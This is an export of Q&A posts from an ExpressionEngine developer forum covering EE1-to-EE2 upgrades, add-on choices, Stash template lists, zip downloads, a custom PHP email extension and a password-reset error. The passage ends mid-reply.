  <row Id="26423" PostTypeId="1" AcceptedAnswerId="26429" CreationDate="2014-10-25T15:25:11.647" Score="1" ViewCount="81" Body="&lt;p&gt;I'm trying to updgrade from EE1.7.1 to EE2.9.2 by following the steps outlined in the documentation here &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/installation/upgrade_from_1.x.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/installation/upgrade_from_1.x.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process seems straightforward enough, and I have run through it as a test and it seemed to work (except for addons). To my mind the biggest problem that I have is that I have no idea how to tackle this note right at the top of the upgrade page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IMPORTANT&#xA;Third-party add-ons from version 1.x will not work with ExpressionEngine 2. Please contact each add-on’s author for a 2.x-compatible version before upgrading, or your site may not function properly. The installer will automatically disable all extensions as part of the upgrade process.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I work out exactly what addons I have and who the author of each addon is? And what happens if there isn't a 2.x compatible version available? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone put together a more detailed how to guide on the upgrade process somewhere?&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-10-29T04:53:13.960" LastActivityDate="2015-03-19T09:26:46.597" Title="Upgrading from EE1 to EE2 - How do I manage the add-ons part of the process?" Tags="|ee1|upgrade|ee2-upgrades|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26425" PostTypeId="1" CreationDate="2014-10-25T22:20:18.467" Score="0" ViewCount="105" Body="&lt;p&gt;I'm migrating away from CartThrob/Subscriptions because it is essentially defunct (they terminated their Subscriptions product).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've purchased DevDemon Subscriptions, and I'm starting to implement it.  I have a client's website that has a subscription service that offers access to various RSS feeds based on their subscription level.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like the way the Actions are set up, but there doesn't appear to be a way to change what is done depending on the subscription?  For instance, if people subscribe to XXXX, we want to change their member group to one that allows access to a particular RSS feed page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they have a subscription to YYYY, we want to change their member group to a DIFFERENT group, which has access to different RSS feeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It unfortunately has to be done this way because third party products like iTunes can use the simple http auth to access RSS feeds, and we can set up group-based permissions for them in EE, but they can't load web pages to parse EE tags, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see in Subscriptions, there's no way for us to do this, correct?  All I'd want is the ability to specify a different set of triggers for each subscription.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2016-06-18T11:49:51.357" Title="Member groups different for subscriptions?" Tags="|devdemon|subscriptions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26426" PostTypeId="2" ParentId="24734" CreationDate="2014-10-25T22:21:48.793" Score="1" Body="&lt;p&gt;As someone who has implemented a site using CartThrob &amp;amp; Subscriptions, I'd suggest you find an alternative.  It's incredibly buggy and incomplete, and has caused us no end of headaches.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-10-25T22:21:48.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26428" PostTypeId="1" AcceptedAnswerId="26572" CreationDate="2014-10-25T23:10:35.510" Score="0" ViewCount="162" Body="&lt;p&gt;Somehow, I'm not able to get this to work. I am populating 2 lists at the top of a template. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;favorites&quot; replace=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:favorites:entries}&#xA;  {stash:item_channel_name}{channel}{/stash:item_channel_name}&#xA;  {stash:item_title}{title}{/stash:item_title}&#xA;{/exp:favorites:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{exp:stash:set_list name=&quot;all_channels&quot; replace=&quot;yes&quot; parse_tags=&quot;yes&quot;}&#xA;{exp:stash:get_list name=&quot;favorites&quot;}&#xA;  {stash:c_name}{item_channel_name}{/stash:c_name}&#xA;{/exp:stash:get_list}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;all_channels&quot; unique=&quot;yes&quot;}&#xA;  {c_name}&#xA;  {exp:stash:get_list name=&quot;favorites&quot; match=&quot;#^{c_name}$#&quot; against=&quot;item_channel_name&quot;}&#xA;  -{item_title}&#xA;  {/exp:stash:get_list}  &#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried just using a static channel name in place of match=&quot;#Resources#&quot; but it only outputs 1 item (the same item for each channel loop). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the output thus far: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Channel Name: Benefits&#xA;Entry Title: 2015 Benefits Open Enrollment Information&#xA;&#xA;Channel Name: Education&#xA;Entry Title: 2015 Benefits Open Enrollment Information&#xA;&#xA;Channel Name: Forms&#xA;Entry Title: 2015 Benefits Open Enrollment Information&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's pretty much exactly like Mark's examples here &lt;a href=&quot;https://gist.github.com/croxton/6219973&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/croxton/6219973&lt;/a&gt; but I can't get it to work as intended. One thing though, when I manually limit the all_channels list to 1 item, it outputs the correct items from the favorites list (I tested it against 4 different channels, one at a time = all correct. If more than 1 item in the all_channels list, it does not work). To be certain it wasn't a server issue, I tried this on my local MAMP machine as well with the same results. &lt;/p&gt;&#xA;" OwnerUserId="1354" LastEditorUserId="1354" LastEditDate="2014-10-27T20:27:16.693" LastActivityDate="2014-11-04T19:27:19.587" Title="Stash - 2 lists, match/against with a tag not outputting correctly" Tags="|stash|regex|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26429" PostTypeId="2" ParentId="26423" CreationDate="2014-10-25T23:42:02.113" Score="1" Body="&lt;p&gt;You should look the at the folder &lt;code&gt;system/plugins/&lt;/code&gt;, which is where EECMS 1 keeps its plugins, and look for the name of each plugin or a readme file. The best place to look for new versions is &lt;a href=&quot;http://devot-ee.com/&quot; rel=&quot;nofollow&quot;&gt;devot-ee&lt;/a&gt;. Almost all EECMS add-ons can be found there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EECMS 2 plugins are separated into 4 categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fieldtypes;&lt;/li&gt;&#xA;&lt;li&gt;accessories;&lt;/li&gt;&#xA;&lt;li&gt;modules;&lt;/li&gt;&#xA;&lt;li&gt;plugins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All of the them should be saved on the folder &lt;code&gt;system/expressionengine/third_party&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every add-on have its own update process. Probably for a lot of them, it's just to upload its folder and install it &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/add-ons/index.html&quot; rel=&quot;nofollow&quot;&gt;on CP&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-10-29T22:19:46.827" LastActivityDate="2014-10-29T22:19:46.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26430" PostTypeId="1" AcceptedAnswerId="26431" CreationDate="2014-10-26T03:17:46.497" Score="1" ViewCount="60" Body="&lt;p&gt;I'm searching EE2 mod for portfolio with categories, images, descriptions and custom fields... Who know EE2 mod like this? I will need to create more categories with sub categories, with description, images, many custom fields (like url, type of work etc...)&lt;/p&gt;&#xA;" OwnerUserId="3683" LastActivityDate="2014-10-28T19:44:24.720" Title="Portfolio extension?" Tags="|ee2|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26431" PostTypeId="2" ParentId="26430" CreationDate="2014-10-26T11:21:21.847" Score="4" Body="&lt;p&gt;Yes, the perfect module you want is called ExpressionEngine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything you list is done natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Channel = &quot;Portfolio&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Category Group called &quot;Portfolio&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Categories as relevant with parents and children&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New Field Group containing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Description&quot; - Rich text field (or &lt;a href=&quot;http://devot-ee.com/search/results?keywords=wysiwyg&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;third-party wysiwyg&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&quot;Images&quot; - Grid field with columns for image title, alt text, link and file&lt;/li&gt;&#xA;&lt;li&gt;&quot;Type of Work&quot; - Rich text field &lt;/li&gt;&#xA;&lt;li&gt;&quot;Customer&quot; - Text field&lt;/li&gt;&#xA;&lt;li&gt;&quot;URL&quot; - text field or if you want validation a &lt;a href=&quot;http://devot-ee.com/add-ons/vz-url-extension&quot; rel=&quot;nofollow&quot;&gt;URL fieldtype&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc, etc, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tags - you could use &lt;a href=&quot;http://devot-ee.com/add-ons/tagger&quot; rel=&quot;nofollow&quot;&gt;Tagger&lt;/a&gt; to select tags on the backend and render them to the frontend.  You could use another category group called &quot;tags&quot; that you create categories for. Or a radio select list to choose from in the form of &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question is did you want to use the tags for people to search on (so a fieldtype like tagger or FieldPack would be easier), or filter on in the listing - any of these will do the job, although categories may then be easier and more flexible. Either way, there's plenty of ways and options.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2014-10-28T19:44:24.720" LastActivityDate="2014-10-28T19:44:24.720" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26432" PostTypeId="1" CreationDate="2014-10-26T15:09:54.833" Score="0" ViewCount="54" Body="&lt;p&gt;EE 2.9.2&#xA;Rating 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add a custom field type, such as a Wygwam or RTE so that the comments field can have some formating controls. Just the basic ones, bold, italic etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add a custom field type to Rating?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to add formatting controls to the textarea field?&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2016-06-15T05:49:16.523" Title="Adding custom field type to Rating from Solspace" Tags="|solspace|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26433" PostTypeId="2" ParentId="26387" CreationDate="2014-10-26T15:31:49.540" Score="4" Body="&lt;p&gt;I've never fully understood why EllisLabs opted for building a completely separate module for forums when the structure of ExpressionEngine can be used to create fully bespoke forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a channel called forums, pre-defined categories for sections of the forum - so mimicking &lt;a href=&quot;https://ellislab.com/forums&quot; rel=&quot;nofollow&quot;&gt;EE's own forums&lt;/a&gt;, you have a parent category of &quot;ExpressionEngine 2&quot; and 2 child categories &quot;Community Support&quot; and &quot;Development &amp;amp; Programming&quot;. Then using frontend entry forms, allow users to post (either as a visitor or ensure they've &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;logged in first&lt;/a&gt;). When a user creates a &quot;new topic&quot;, they have to select from your &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;custom form submission&lt;/a&gt; a relevant category and it creates an entry. Then anyone wanting to reply, it's a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the official EE forums, you can display the author, the total views, the total replies and the last reply (comment). The search can be built to only target that channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set it to automatically email the owner of the topic and obviously when someone replies (comments), they can also subscribe to alerts. You can even allow people to subscribe to a thread (entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use richer third-party wysiwyg editors, instead of the basic EE one, you can add better image upload, with more controls, you can utilise smiley implementation and much, much more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the above inclusive of the original EE license without additional cost. I'm not sure how much extra effort would be involved in doing it this way versus native forum module, but considering the difficulty in customising the forum's appearance and the control you'd get from native entries, the EE template route would win me over every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And using &lt;a href=&quot;http://devot-ee.com/add-ons/threaded-comments&quot; rel=&quot;nofollow&quot;&gt;this add-on&lt;/a&gt;, you could even allow for threaded &lt;del&gt;comments&lt;/del&gt; - sorry topic &quot;replies&quot;.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2014-10-26T15:37:01.217" LastActivityDate="2014-10-26T15:37:01.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26434" PostTypeId="2" ParentId="26425" CreationDate="2014-10-26T16:44:27.943" Score="0" Body="&lt;p&gt;Previous version only allowed you to change to one member group. This has since been changed and plans can have their own action to change to different member groups. &lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditDate="2015-07-14T23:55:36.453" LastActivityDate="2015-07-14T23:55:36.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26435" PostTypeId="1" CreationDate="2014-10-26T23:39:58.823" Score="0" ViewCount="75" Body="&lt;p&gt;I'm using the exp:channel:entries tag to add files to a zip folder, but when I try to download the zip file, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error : PCLZIP_ERR_MISSING_FILE (-4) : File 'http:/www.domain.com/file_name.pdf' does not exist&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I go to: http:/www.domain.com/file_name.pdf, the file does exist and is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zip direct_output=&quot;no&quot; filename=&quot;project_package.zip&quot; comment=&quot;Project Package&quot; remove_path=&quot;&quot; add_path=&quot;&quot;}&#xA;{zip:files}&#xA;{exp:channel:entries disable=&quot;categories|member_data|pagination&quot; limit=&quot;1&quot;}&#xA;{project_package}&#xA;    [{project_package:project_item}]&#xA;{/project_package}&#xA;{/exp:channel:entries}&#xA;{/zip:files}&#xA;{/exp:zip} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3273" LastActivityDate="2014-12-26T01:40:30.023" Title="MX Zip Files Not Working" Tags="|mx-zip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26436" PostTypeId="2" ParentId="26435" CreationDate="2014-10-27T00:46:04.390" Score="1" Body="&lt;p&gt;You need to add absolute paths or relative paths. It will not work with urls.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-27T00:46:04.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26437" PostTypeId="1" CreationDate="2014-10-27T10:05:52.903" Score="1" ViewCount="48" Body="&lt;p&gt;I'm using multi site manager to duplicate a site but when I create the site all the grid field types data are missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the option to duplicate channel and channel entries when creating the new site and other fields have copied correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ExpressionEngine 2.9.2 and Multiple Site Manager 2.1.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a issue with MSM and the grid field type?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2016-06-19T04:58:07.660" Title="Multi SIte Manager and Grid Field" Tags="|multi-site-manager|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26438" PostTypeId="2" ParentId="26432" CreationDate="2014-10-27T11:31:10.623" Score="0" Body="&lt;p&gt;I assume by &quot;custom field type&quot;, you mean &lt;em&gt;EE Channel Entry Custom Fields&lt;/em&gt;. Since ratings are not channel entries, this isn't possible, since Wygwam, RTE, etc are &lt;em&gt;Channel Entry&lt;/em&gt; fields, not &lt;em&gt;Rating&lt;/em&gt; fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could add a WYSIWYG to a textarea field in your template manually by loading on of the WYSIWYG plugins available on the net. There are many available, including &lt;a href=&quot;http://ckeditor.com/&quot; rel=&quot;nofollow&quot;&gt;CKEditor&lt;/a&gt;, &lt;a href=&quot;http://www.tinymce.com/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE&lt;/a&gt;, and &lt;a href=&quot;http://imperavi.com/redactor/&quot; rel=&quot;nofollow&quot;&gt;Redactor&lt;/a&gt;. Make sure to respect the use license for these plugins as well. &lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-27T11:31:10.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26440" PostTypeId="1" CreationDate="2014-10-27T13:09:11.580" Score="0" ViewCount="822" Body="&lt;p&gt;I’m creating a custom ext. that handles form submission + email sending.&#xA;When a form or reservation has been made the data is put in EE and 2 emails are being send. One email to the client and one to the admin.&#xA;Sometimes my sendMail function doesn’t send the body of the first email and I’m getting an empty email.&#xA;The body of the email is an EE template loaded with file_get_contents. When I add sleep(2) (delay execution) before the emails are send it works fine.  I have no idea what the problem is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I should do this in another way? Hope you guys can help me out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function template_fetch_template($row)&#xA;{&#xA;    // -------------------------------------------&#xA;    // Get the latest version of $row&#xA;    // -------------------------------------------&#xA;    if (ee()-&amp;gt;extensions-&amp;gt;last_call !== FALSE)&#xA;    {&#xA;        $row = ee()-&amp;gt;extensions-&amp;gt;last_call;&#xA;    }&#xA;&#xA;    if (ee()-&amp;gt;uri-&amp;gt;segment(1) == &quot;reservation&quot;)&#xA;    {&#xA;        $this-&amp;gt;reservation();&#xA;    }&#xA;&#xA;    return $row;&#xA;}&#xA;&#xA;private function reservation()&#xA;{&#xA;&#xA;    static $run;&#xA;    if ($run) return;&#xA;&#xA;    if (ee()-&amp;gt;uri-&amp;gt;segment(1) == &quot;reservation&quot; &amp;amp;&amp;amp; ee()-&amp;gt;uri-&amp;gt;segment(2) != &quot;&quot; &amp;amp;&amp;amp; ee()-&amp;gt;uri-&amp;gt;segment(3) == &quot;&quot;)&#xA;    {&#xA;        if (count($_POST))&#xA;        {&#xA;            $naam = $_POST[&quot;naam&quot;];&#xA;&#xA;            ee()-&amp;gt;session-&amp;gt;create_new_session(2);&#xA;            ee()-&amp;gt;session-&amp;gt;fetch_session_data();&#xA;            ee()-&amp;gt;session-&amp;gt;fetch_member_data();&#xA;&#xA;            $channel_id = 21;&#xA;&#xA;            ee()-&amp;gt;load-&amp;gt;library('api');&#xA;            ee()-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;            ee()-&amp;gt;api-&amp;gt;instantiate('channel_fields');&#xA;&#xA;            $data = array(&#xA;                'entry_id'=&amp;gt; 0,&#xA;                'title'=&amp;gt; $naam,&#xA;                'entry_date'    =&amp;gt; time(),&#xA;                'edit_date'     =&amp;gt; time(),              &#xA;                'member_id'     =&amp;gt; 2&#xA;            );&#xA;&#xA;            ee()-&amp;gt;api_channel_fields-&amp;gt;setup_entry_settings($channel_id, $data);&#xA;            if (ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($data, $channel_id))&#xA;            {&#xA;                $entry_id = ee()-&amp;gt;api_channel_entries-&amp;gt;entry_id;&#xA;&#xA;                sleep(2); &#xA;&#xA;                // CLIENT EMAIL     &#xA;                $this-&amp;gt;sendMail(&quot;e-mail&quot;,&quot;client_&quot;.$this-&amp;gt;res_email_template, $entry_id, “xxx@xxx.be”, &quot;Client Reservatie &quot;. ee()-&amp;gt;config-&amp;gt;_global_vars['site'] . &quot; &quot; . $entry_id);&#xA;                // ADMIN EMAIL&#xA;                $this-&amp;gt;sendMail(&quot;e-mail&quot;,&quot;admin_&quot;.$this-&amp;gt;res_email_template, $entry_id, “xxx@xxx.be, &quot;Admin Reservatie &quot;. ee()-&amp;gt;config-&amp;gt;_global_vars['site']. &quot; &quot; . $entry_id);&#xA;&#xA;                ee()-&amp;gt;functions-&amp;gt;redirect(&quot;/&quot;.ee()-&amp;gt;uri-&amp;gt;segment(1).&quot;/&quot;.ee()-&amp;gt;uri-&amp;gt;segment(2).&quot;/&quot;.$entry_id);&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    $run = true;&#xA;}&#xA;&#xA;private function sendMail($template_group, $template, $entry_id, $to_email, $subject)&#xA;{&#xA;    $config = Array(&#xA;          'protocol' =&amp;gt; 'smtp',&#xA;          'smtp_host' =&amp;gt; 'smtp.priorweb.be',&#xA;          'smtp_timeout'=&amp;gt;30,&#xA;          'smtp_port' =&amp;gt; 587,&#xA;          'mailtype' =&amp;gt; 'html',&#xA;          'charset' =&amp;gt; 'utf-8',&#xA;          'wordwrap' =&amp;gt; FALSE&#xA;        );&#xA;&#xA;    ee()-&amp;gt;email-&amp;gt;clear();&#xA;    ee()-&amp;gt;load-&amp;gt;library('email', $config);&#xA;        ee()-&amp;gt;load-&amp;gt;helper('text');&#xA;        ee()-&amp;gt;email-&amp;gt;mailtype = 'html';&#xA;        ee()-&amp;gt;email-&amp;gt;from(‘xxxx@xxxx.be'); &#xA;        ee()-&amp;gt;email-&amp;gt;to($to_email); &#xA;        ee()-&amp;gt;email-&amp;gt;subject($subject);&#xA;        ee()-&amp;gt;email-&amp;gt;message(entities_to_ascii(file_get_contents(ee()-&amp;gt;config-&amp;gt;site_url().ee()-&amp;gt;publisher_lib-&amp;gt;lang_code.&quot;/&quot;.$template_group.&quot;/&quot;.$template.&quot;/&quot;.$entry_id, FILE_USE_INCLUDE_PATH)));&#xA;&#xA;        ee()-&amp;gt;email-&amp;gt;send();&#xA;&#xA;        if ( ! ee()-&amp;gt;email-&amp;gt;send())&#xA;    {&#xA;            // Send failed, data was not cleared&#xA;            ee()-&amp;gt;email-&amp;gt;clear();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/*****/ &#xA;EMAIL TEMPLATE&#xA;SOME HTML WITH THIS TAG&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;reserveer_berichten&quot; limit=&quot;1&quot; dynamic=&quot;off&quot; entry_id=&quot;{segment_3}&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-10-27T14:52:15.383" LastActivityDate="2021-01-23T20:05:05.483" Title="Send email from EE template with file get contents" Tags="|add-on-development|email|extension|parsing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26441" PostTypeId="1" CreationDate="2014-10-27T14:54:31.583" Score="0" ViewCount="55" Body="&lt;p&gt;I have a plugin which is setting the value of a stash variable based on segment URIs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on my redir/index.html template, I have &lt;code&gt;{exp:hippo_functions:redir}&lt;/code&gt; and the contents of my function (stripped) is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = array(&#xA;    'name' =&amp;gt; 'delivery_day',&#xA;    'scope' =&amp;gt; 'user'&#xA;);&#xA;&#xA;Stash::set($params,$days['delivery_date']);&#xA;&#xA;ee()-&amp;gt;functions-&amp;gt;redirect( ee()-&amp;gt;functions-&amp;gt;create_url($location) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked the value of the the 'delivery_day' stash immediately after setting it with &lt;code&gt;Stash::get('delivery_day');&lt;/code&gt; and it's returning the correct value, however on my redirected page - I have a separate function which checks the validity of the date using the same &lt;code&gt;Stash::get('delivery_day');&lt;/code&gt; call, however this time the value is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why isn't the value persisting across pages? I presumed it was the scope, which was why I set it to user - but could it be something else?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2015-02-24T21:56:50.080" Title="Stash forgetting value" Tags="|add-on|stash|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26442" PostTypeId="2" ParentId="26441" CreationDate="2014-10-27T16:42:01.657" Score="1" Body="&lt;p&gt;Thanks to Croxton for the answer... I needed to add &lt;code&gt;save =&amp;gt; 'y'&lt;/code&gt; to the params array.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2014-10-27T16:42:01.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26443" PostTypeId="1" AcceptedAnswerId="26520" CreationDate="2014-10-27T17:14:07.573" Score="2" ViewCount="1276" Body="&lt;p&gt;Running EE 2.9.0 and MSM and I am having trouble with the Reset Password function. When I enter my email and click submit I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;The following errors were encountered&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This form has expired. Please refresh and try again. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Return to Previous Page&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code that I am using for the login form and the link to the password reset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;{segment_1}/{segment_2}/{segment_3}&quot;}&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Username&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input class=&quot;text&quot; type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; maxlength=&quot;32&quot; class=&quot;input&quot; size=&quot;25&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input class=&quot;text&quot; type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; maxlength=&quot;32&quot; class=&quot;input&quot; size=&quot;25&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot;&amp;gt; Auto-login on future visits&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;http://www.sitexyz.org/member/forgot_password&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Not registered yet? &amp;lt;a href=&quot;http://www.sitexyz.org/member/register&quot;&amp;gt;Register Now&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No amount of refreshing makes a difference. This affects users across browsers and locations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcoming all guidance to a solution.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-10-28T14:35:30.357" LastActivityDate="2015-03-01T21:27:35.637" Title="Password Reset Error: This form has expired. Please refresh and try again" Tags="|error|forgot-password|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26444" PostTypeId="2" ParentId="26440" CreationDate="2014-10-27T17:24:06.087" Score="0" Body="&lt;p&gt;Have you considered using existing add-ons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/freeform&quot; rel=&quot;nofollow&quot;&gt;Freeform&lt;/a&gt; allows you to create forms on the frontend that store the submission in the database, has a Control Panel interface and allows for email sending (and customising the templates) to both the customer and admin. You can pass custom values from the form to be included in the email I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you want to store the form data (reservation) in your own DB table, you can send them to another URL/template as a confirmation and trigger &lt;a href=&quot;http://devot-ee.com/add-ons/email-from-template&quot; rel=&quot;nofollow&quot;&gt;Email from Template&lt;/a&gt;, which allows you to send off an email using the content of a template (which could be populated by the form data they'd just entered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without actually solving your direct question as to why it works with the sleep and not without, I would express concern about the security of your code - at a basic level you're not checking for the validity of &quot;naam&quot;, without reading 